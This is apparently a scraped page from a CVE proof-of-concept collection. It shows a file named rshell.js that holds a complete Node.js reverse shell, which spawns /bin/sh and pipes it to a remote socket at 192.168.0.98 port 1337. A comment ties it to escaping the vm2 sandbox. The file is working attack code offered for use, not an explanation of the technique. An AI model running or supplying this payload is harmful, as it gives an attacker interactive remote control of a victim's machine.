4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / rshell.js JS
// "normal" javascript reverse shell won't work in sandboxed vm2 because of require("net") module
(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(1337, "192.168.0.98", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })();